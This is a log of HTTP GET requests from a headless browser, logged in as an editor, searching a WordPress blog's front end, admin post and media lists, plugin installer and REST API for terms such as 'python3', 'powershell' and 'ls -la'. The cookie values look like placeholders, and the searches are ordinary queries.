{"method": "GET", "target": "/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""}
{"method": "GET", "target": "/index.php?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&_wpnonce=3a4f1df05d&_wp_http_referer=%2Fwp-admin%2Fedit.php&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=python3&_wpnonce=f27c858c25&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist&action=-1&affected=&_ajax_nonce=a654b3ca7f&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=python3&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""}
{"method": "GET", "target": "/index.php?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207373"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=powershell&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=powershell&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""}
{"method": "GET", "target": "/?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""}
{"method": "GET", "target": "/index.php?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=sudo+apt+install+nginx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207383"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=sudo+apt+install+nginx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207384"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=sudo+apt+install+nginx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207385"], "body": ""}
{"method": "GET", "target": "/?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""}
{"method": "GET", "target": "/index.php?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=chmod+%2Bx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207390"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=chmod+%2Bx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=chmod+%2Bx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""}
{"method": "GET", "target": "/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""}
{"method": "GET", "target": "/index.php?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207397"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=ls+-la&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207398"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=ls+-la&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207399"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=python3&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
